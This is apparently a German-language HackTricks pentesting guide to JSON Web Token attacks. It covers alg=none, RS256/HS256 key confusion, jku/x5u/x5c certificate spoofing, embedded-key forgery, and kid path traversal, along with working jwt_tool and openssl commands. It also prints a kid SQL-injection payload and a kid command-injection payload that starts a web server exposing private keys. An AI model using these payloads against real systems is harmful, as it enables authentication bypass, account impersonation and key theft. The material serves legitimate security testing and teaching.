JWT-Sicherheitsanfälligkeiten (Json Web Tokens)
Reading time: 13 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Ein Teil dieses Beitrags basiert auf dem großartigen Beitrag: https://github.com/ticarpi/jwt_tool/wiki/Attack-Methodology
Autor des großartigen Tools zum Pentesting von JWTs https://github.com/ticarpi/jwt_tool
Schnelle Erfolge
Führen Sie jwt_tool im Modus All Tests!
aus und warten Sie auf grüne Zeilen.
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
-rh "Authorization: Bearer eyJhbG...<JWT Token>"
Wenn Sie Glück haben, findet das Tool einen Fall, in dem die Webanwendung das JWT falsch überprüft:
Dann können Sie die Anfrage in Ihrem Proxy suchen oder das verwendete JWT für diese Anfrage mit jwt_ tool dumpen:
python3 jwt_tool.py -Q "jwttool_706649b802c9f5e41052062a3787b291"
Sie können auch die Burp Extension SignSaboteur verwenden, um JWT-Angriffe von Burp aus zu starten.
Daten manipulieren, ohne etwas zu ändern
Sie können einfach die Daten manipulieren und die Signatur unverändert lassen und überprüfen, ob der Server die Signatur überprüft. Versuchen Sie beispielsweise, Ihren Benutzernamen in "admin" zu ändern.
Wird das Token überprüft?
Um zu überprüfen, ob die Signatur eines JWT verifiziert wird:
- Eine Fehlermeldung deutet auf eine laufende Überprüfung hin; sensible Details in ausführlichen Fehlern sollten überprüft werden.
- Eine Änderung der zurückgegebenen Seite deutet ebenfalls auf eine Überprüfung hin.
- Keine Änderung deutet auf keine Überprüfung hin; dies ist der Zeitpunkt, um mit der Manipulation der Payload-Ansprüche zu experimentieren.
Ursprung
Es ist wichtig zu bestimmen, ob das Token serverseitig oder clientseitig generiert wurde, indem die Anfragehistorie des Proxys untersucht wird.
- Tokens, die zuerst von der Client-Seite gesehen werden, deuten darauf hin, dass der Schlüssel möglicherweise im clientseitigen Code exponiert ist, was eine weitere Untersuchung erforderlich macht.
- Tokens, die serverseitig stammen, deuten auf einen sicheren Prozess hin.
Dauer
Überprüfen Sie, ob das Token länger als 24 Stunden hält... vielleicht läuft es nie ab. Wenn es ein "exp"-Feld gibt, überprüfen Sie, ob der Server es korrekt behandelt.
Brute-Force HMAC-Geheimnis
Algorithmus auf None ändern
Setzen Sie den verwendeten Algorithmus auf "None" und entfernen Sie den Signaturteil.
Verwenden Sie die Burp-Erweiterung "JSON Web Token", um diese Schwachstelle auszuprobieren und verschiedene Werte innerhalb des JWT zu ändern (senden Sie die Anfrage an Repeater und im Tab "JSON Web Token" können Sie die Werte des Tokens ändern. Sie können auch auswählen, den Wert des "Alg"-Feldes auf "None" zu setzen).
Ändern Sie den Algorithmus von RS256 (asymmetrisch) auf HS256 (symmetrisch) (CVE-2016-5431/CVE-2016-10555)
Der Algorithmus HS256 verwendet den geheimen Schlüssel, um jede Nachricht zu signieren und zu verifizieren.
Der Algorithmus RS256 verwendet den privaten Schlüssel, um die Nachricht zu signieren, und den öffentlichen Schlüssel zur Authentifizierung.
Wenn Sie den Algorithmus von RS256 auf HS256 ändern, verwendet der Backend-Code den öffentlichen Schlüssel als geheimen Schlüssel und verwendet dann den HS256-Algorithmus, um die Signatur zu verifizieren.
Dann könnten wir unter Verwendung des öffentlichen Schlüssels und der Änderung von RS256 auf HS256 eine gültige Signatur erstellen. Sie können das Zertifikat des Webservers abrufen, indem Sie dies ausführen:
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
Neuer öffentlicher Schlüssel im Header
Ein Angreifer bettet einen neuen Schlüssel im Header des Tokens ein, und der Server verwendet diesen neuen Schlüssel zur Überprüfung der Signatur (CVE-2018-0114).
Dies kann mit der "JSON Web Tokens" Burp-Erweiterung durchgeführt werden.
(Senden Sie die Anfrage an den Repeater, wählen Sie im Tab für JSON Web Token "CVE-2018-0114" aus und senden Sie die Anfrage).
JWKS Spoofing
Die Anweisungen beschreiben eine Methode zur Bewertung der Sicherheit von JWT-Token, insbesondere von solchen, die einen "jku"-Headeranspruch verwenden. Dieser Anspruch sollte auf eine JWKS (JSON Web Key Set)-Datei verweisen, die den öffentlichen Schlüssel enthält, der für die Überprüfung des Tokens erforderlich ist.
-
Bewertung von Tokens mit "jku"-Header:
-
Überprüfen Sie die URL des "jku"-Anspruchs, um sicherzustellen, dass sie zur entsprechenden JWKS-Datei führt.
-
Ändern Sie den "jku"-Wert des Tokens, um auf einen kontrollierten Webdienst zu verweisen, der die Beobachtung des Datenverkehrs ermöglicht.
-
Überwachung der HTTP-Interaktion:
-
Die Beobachtung von HTTP-Anfragen an Ihre angegebene URL zeigt die Versuche des Servers an, Schlüssel von Ihrem bereitgestellten Link abzurufen.
-
Bei der Verwendung von
jwt_tool
für diesen Prozess ist es wichtig, die Dateijwtconf.ini
mit Ihrem persönlichen JWKS-Standort zu aktualisieren, um die Tests zu erleichtern. -
Befehl für
jwt_tool
: -
Führen Sie den folgenden Befehl aus, um das Szenario mit
jwt_tool
zu simulieren:
python3 jwt_tool.py JWT_HERE -X s
Übersicht über Kid-Probleme
Ein optionaler Headeranspruch, bekannt als kid
, wird verwendet, um einen bestimmten Schlüssel zu identifizieren, was in Umgebungen, in denen mehrere Schlüssel zur Überprüfung der Token-Signatur vorhanden sind, besonders wichtig wird. Dieser Anspruch hilft bei der Auswahl des geeigneten Schlüssels zur Überprüfung der Signatur eines Tokens.
Offenlegung des Schlüssels durch "kid"
Wenn der kid
-Anspruch im Header vorhanden ist, wird empfohlen, das Webverzeichnis nach der entsprechenden Datei oder deren Variationen zu durchsuchen. Wenn beispielsweise "kid":"key/12345"
angegeben ist, sollten die Dateien /key/12345 und /key/12345.pem im Web-Stammverzeichnis gesucht werden.
Pfad Traversierung mit "kid"
Der kid
-Anspruch könnte auch ausgenutzt werden, um durch das Dateisystem zu navigieren, was möglicherweise die Auswahl einer beliebigen Datei ermöglicht. Es ist möglich, die Konnektivität zu testen oder Server-Side Request Forgery (SSRF)-Angriffe durchzuführen, indem der kid
-Wert geändert wird, um gezielt bestimmte Dateien oder Dienste anzusprechen. Das Manipulieren des JWT, um den kid
-Wert zu ändern und gleichzeitig die ursprüngliche Signatur beizubehalten, kann mit dem -T
-Flag in jwt_tool erreicht werden, wie unten gezeigt:
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
Durch das Anvisieren von Dateien mit vorhersehbarem Inhalt ist es möglich, ein gültiges JWT zu fälschen. Zum Beispiel kann die Datei /proc/sys/kernel/randomize_va_space
in Linux-Systemen, die den Wert 2 enthält, im kid
-Parameter mit 2 als symmetrischem Passwort für die JWT-Generierung verwendet werden.
SQL-Injection über "kid"
Wenn der Inhalt des kid
-Anspruchs verwendet wird, um ein Passwort aus einer Datenbank abzurufen, könnte eine SQL-Injection ermöglicht werden, indem die kid
-Nutzlast modifiziert wird. Ein Beispiel für eine Nutzlast, die SQL-Injection verwendet, um den JWT-Signierungsprozess zu ändern, ist:
non-existent-index' UNION SELECT 'ATTACKER';-- -
Diese Änderung zwingt die Verwendung eines bekannten geheimen Schlüssels, ATTACKER
, für die JWT-Signierung.
OS-Injection über "kid"
Ein Szenario, in dem der kid
-Parameter einen Dateipfad angibt, der innerhalb eines Befehlsausführungskontexts verwendet wird, könnte zu Remote Code Execution (RCE)-Schwachstellen führen. Durch das Injizieren von Befehlen in den kid
-Parameter ist es möglich, private Schlüssel offenzulegen. Ein Beispiel für eine Nutzlast zur Erreichung von RCE und Schlüsseloffenlegung ist:
/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&
x5u und jku
jku
jku steht für JWK Set URL.
Wenn das Token einen “jku” Header-Anspruch verwendet, dann prüfen Sie die bereitgestellte URL. Diese sollte auf eine URL verweisen, die die JWKS-Datei enthält, die den öffentlichen Schlüssel zur Überprüfung des Tokens enthält. Manipulieren Sie das Token, um den jku-Wert auf einen Webdienst zu verweisen, dessen Verkehr Sie überwachen können.
Zuerst müssen Sie ein neues Zertifikat mit neuen privaten und öffentlichen Schlüsseln erstellen.
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Dann können Sie beispielsweise jwt.io verwenden, um das neue JWT mit den erstellten öffentlichen und privaten Schlüsseln zu erstellen und den Parameter jku auf das erstellte Zertifikat zu verweisen. Um ein gültiges jku-Zertifikat zu erstellen, können Sie das ursprüngliche herunterladen und die benötigten Parameter ändern.
Sie können die Parameter "e" und "n" aus einem öffentlichen Zertifikat mit folgendem Befehl erhalten:
from Crypto.PublicKey import RSA
fp = open("publickey.crt", "r")
key = RSA.importKey(fp.read())
fp.close()
print("n:", hex(key.n))
print("e:", hex(key.e))
x5u
X.509-URL. Eine URI, die auf eine Menge von X.509 (einem Zertifikatsformatstandard) öffentlichen Zertifikaten verweist, die im PEM-Format codiert sind. Das erste Zertifikat in der Menge muss dasjenige sein, das verwendet wurde, um dieses JWT zu signieren. Die nachfolgenden Zertifikate signieren jeweils das vorherige, wodurch die Zertifikatskette vervollständigt wird. X.509 ist in RFC 52807 definiert. Transport-Sicherheit ist erforderlich, um die Zertifikate zu übertragen.
Versuchen Sie, diesen Header in eine URL unter Ihrer Kontrolle zu ändern und überprüfen Sie, ob eine Anfrage empfangen wird. In diesem Fall könnten Sie das JWT manipulieren.
Um ein neues Token mit einem von Ihnen kontrollierten Zertifikat zu fälschen, müssen Sie das Zertifikat erstellen und die öffentlichen und privaten Schlüssel extrahieren:
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
Dann können Sie beispielsweise jwt.io verwenden, um das neue JWT mit den erstellten öffentlichen und privaten Schlüsseln zu erstellen und den Parameter x5u auf das erstellte Zertifikat .crt zu verweisen.
Sie können auch beide dieser Schwachstellen für SSRFs ausnutzen.
x5c
Dieser Parameter kann das Zertifikat in base64 enthalten:
Wenn der Angreifer ein selbstsigniertes Zertifikat generiert und ein gefälschtes Token mit dem entsprechenden privaten Schlüssel erstellt und den Wert des "x5c"-Parameters durch das neu generierte Zertifikat ersetzt und die anderen Parameter, nämlich n, e und x5t, ändert, würde das gefälschte Token im Wesentlichen vom Server akzeptiert werden.
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
openssl x509 -in attacker.crt -text
Eingebetteter öffentlicher Schlüssel (CVE-2018-0114)
Wenn das JWT einen öffentlichen Schlüssel eingebettet hat, wie im folgenden Szenario:
Mit dem folgenden nodejs-Skript ist es möglich, einen öffentlichen Schlüssel aus diesen Daten zu generieren:
const NodeRSA = require('node-rsa');
const fs = require('fs');
n ="ANQ3hoFoDxGQMhYOAc6CHmzz6_Z20hiP1Nvl1IN6phLwBj5gLei3e4e-DDmdwQ1zOueacCun0DkX1gMtTTX36jR8CnoBRBUTmNsQ7zaL3jIU4iXeYGuy7WPZ_TQEuAO1ogVQudn2zTXEiQeh-58tuPeTVpKmqZdS3Mpum3l72GHBbqggo_1h3cyvW4j3QM49YbV35aHV3WbwZJXPzWcDoEnCM4EwnqJiKeSpxvaClxQ5nQo3h2WdnV03C5WuLWaBNhDfC_HItdcaZ3pjImAjo4jkkej6mW3eXqtmDX39uZUyvwBzreMWh6uOu9W0DMdGBbfNNWcaR5tSZEGGj2divE8";
e = "AQAB";
const key = new NodeRSA();
var importedKey = key.importKey({n: Buffer.from(n, 'base64'),e: Buffer.from(e, 'base64'),}, 'components-public');
console.log(importedKey.exportKey("public"));
Es ist möglich, einen neuen privaten/öffentlichen Schlüssel zu generieren, den neuen öffentlichen Schlüssel im Token einzubetten und ihn zu verwenden, um eine neue Signatur zu generieren:
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
openssl pkcs8 -topk8 -inform PEM -outform PEM -nocrypt -in keypair.pem -out pkcs8.key
Sie können das "n" und "e" mit diesem nodejs-Skript erhalten:
const NodeRSA = require('node-rsa');
const fs = require('fs');
keyPair = fs.readFileSync("keypair.pem");
const key = new NodeRSA(keyPair);
const publicComponents = key.exportKey('components-public');
console.log('Parameter n: ', publicComponents.n.toString("hex"));
console.log('Parameter e: ', publicComponents.e.toString(16));
Schließlich können Sie mit dem öffentlichen und privaten Schlüssel sowie den neuen "n"- und "e"-Werten jwt.io verwenden, um ein neues gültiges JWT mit beliebigen Informationen zu fälschen.
ES256: Offenlegung des privaten Schlüssels mit demselben Nonce
Wenn einige Anwendungen ES256 verwenden und dasselbe Nonce zur Generierung von zwei JWTs verwenden, kann der private Schlüssel wiederhergestellt werden.
Hier ist ein Beispiel: ECDSA: Offenlegung des privaten Schlüssels, wenn dasselbe Nonce verwendet wird (mit SECP256k1)
JTI (JWT ID)
Der JTI (JWT ID) Anspruch bietet einen eindeutigen Identifikator für ein JWT-Token. Er kann verwendet werden, um zu verhindern, dass das Token wiederverwendet wird.
Stellen Sie sich jedoch eine Situation vor, in der die maximale Länge der ID 4 beträgt (0001-9999). Die Anfragen 0001 und 10001 werden dieselbe ID verwenden. Wenn das Backend die ID bei jeder Anfrage erhöht, könnten Sie dies ausnutzen, um eine Anfrage erneut abzuspielen (es müssen 10000 Anfragen zwischen jedem erfolgreichen Replay gesendet werden).
JWT Registrierte Ansprüche
Andere Angriffe
Cross-Service Relay Angriffe
Es wurde beobachtet, dass einige Webanwendungen auf einen vertrauenswürdigen JWT-Dienst für die Generierung und Verwaltung ihrer Tokens angewiesen sind. Es wurden Fälle dokumentiert, in denen ein Token, das für einen Client vom JWT-Dienst generiert wurde, von einem anderen Client desselben JWT-Dienstes akzeptiert wurde. Wenn die Ausgabe oder Erneuerung eines JWT über einen Drittanbieterdienst beobachtet wird, sollte die Möglichkeit untersucht werden, sich mit demselben Benutzernamen/E-Mail-Adresse bei einem anderen Client dieses Dienstes anzumelden. Es sollte dann versucht werden, das erhaltene Token in einer Anfrage an das Ziel erneut abzuspielen, um zu sehen, ob es akzeptiert wird.
- Ein kritisches Problem könnte durch die Akzeptanz Ihres Tokens angezeigt werden, was möglicherweise das Spoofing eines beliebigen Benutzerkontos ermöglicht. Es sollte jedoch beachtet werden, dass möglicherweise eine Genehmigung für umfassendere Tests erforderlich ist, wenn Sie sich bei einer Drittanbieteranwendung anmelden, da dies in einen rechtlichen Graubereich fallen könnte.
Ablaufprüfung von Tokens
Das Ablaufdatum des Tokens wird mit dem "exp" Payload-Anspruch überprüft. Da JWTs oft ohne Sitzungsinformationen verwendet werden, ist eine sorgfältige Handhabung erforderlich. In vielen Fällen könnte das Erfassen und Wiedergeben eines JWT eines anderen Benutzers die Identitätsübernahme dieses Benutzers ermöglichen. Die JWT RFC empfiehlt, JWT-Wiederholungsangriffe zu mindern, indem der "exp"-Anspruch verwendet wird, um eine Ablaufzeit für das Token festzulegen. Darüber hinaus ist die Implementierung relevanter Prüfungen durch die Anwendung entscheidend, um die Verarbeitung dieses Wertes sicherzustellen und abgelaufene Tokens abzulehnen. Wenn das Token einen "exp"-Anspruch enthält und die Testzeitlimits dies zulassen, wird empfohlen, das Token zu speichern und es nach Ablauf der Zeit erneut abzuspielen. Der Inhalt des Tokens, einschließlich der Zeitstempelverarbeitung und der Ablaufprüfung (Zeitstempel in UTC), kann mit dem -R-Flag des jwt_tool gelesen werden.
- Ein Sicherheitsrisiko könnte bestehen, wenn die Anwendung das Token weiterhin validiert, da dies implizieren könnte, dass das Token niemals ablaufen könnte.
Werkzeuge
GitHub - ticarpi/jwt_tool: :snake: A toolkit for testing, tweaking and cracking JSON Web Tokens
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.